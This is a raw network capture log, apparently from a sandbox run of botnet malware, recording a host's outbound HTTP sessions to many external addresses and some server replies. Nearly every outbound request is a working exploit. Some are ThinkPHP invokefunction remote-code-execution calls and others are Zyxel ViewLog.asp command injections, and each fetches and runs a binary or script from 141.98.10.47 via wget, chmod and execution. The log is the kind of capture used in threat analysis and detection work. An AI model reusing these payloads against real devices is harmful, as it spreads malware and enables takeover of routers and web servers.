Dec 26, 2023 21:25:40.073707104 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:40.481853962 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:40 GMT Date: Tue, 26 Dec 2023 20:25:40 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 32 37 65 31 39 62 38 26 23 34 36 3b 31 37 30 33 36 32 32 33 34 30 26 23 34 36 3b 31 64 38 31 38 39 36 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.527e19b8.1703622340.1d818965</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.23	54672	62.31.106.18	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:38.827855110 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:42.921360016 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:43.172360897 CET	130	IN	HTTP/1.1 302 Found Location: https://192.168.0.14:443 Content-Length: 0 Date: Tue, 26 Dec 2023 20:25:42 GMT Server: Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.23	59944	94.120.248.227	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:38.856923103 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.23	59982	31.136.210.181	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:39.394176960 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:40.169723988 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:41.673500061 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:44.713125944 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:50.856204033 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:02.886522055 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.23	40784	85.226.135.154	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:39.404763937 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:39.663867950 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:22:01 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.23	55586	94.123.187.215	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:39.425620079 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.23	45288	94.121.200.189	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:39.436031103 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.23	40470	95.216.21.226	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:40.372342110 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.23	34756	31.200.88.122	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:40.382873058 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.23	40102	62.56.141.5	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:40.397349119 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:41.289551973 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:43.081378937 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.23	52592	88.221.183.162	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:41.074945927 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:41.304109097 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:41 GMT Date: Tue, 26 Dec 2023 20:25:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 34 33 65 31 32 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 33 34 31 26 23 34 36 3b 65 38 31 31 34 62 32 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.d43e1202.1703622341.e8114b26</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.23	59236	95.101.104.192	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:42.063318014 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:42.762772083 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:42.988373041 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Tue, 26 Dec 2023 20:25:42 GMT Date: Tue, 26 Dec 2023 20:25:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 37 38 31 30 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 33 34 32 26 23 34 36 3b 62 31 66 31 34 62 33 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.6781002.1703622342.b1f14b36</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.23	34070	95.100.50.185	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:42.078126907 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:42.323030949 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Tue, 26 Dec 2023 20:25:42 GMT Date: Tue, 26 Dec 2023 20:25:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 63 31 36 31 35 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 33 34 32 26 23 34 36 3b 34 30 61 30 31 35 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.1c161502.1703622342.40a0155</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.23	60718	95.112.80.171	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:42.091038942 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:42.349965096 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.23	48024	95.168.162.169	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:42.573046923 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:42.814961910 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Dec 2023 20:25:42 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.23	51058	31.200.96.182	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:43.007067919 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.23	36838	94.121.19.106	8080

Timestamp	Bytes transferred	Direction	Data
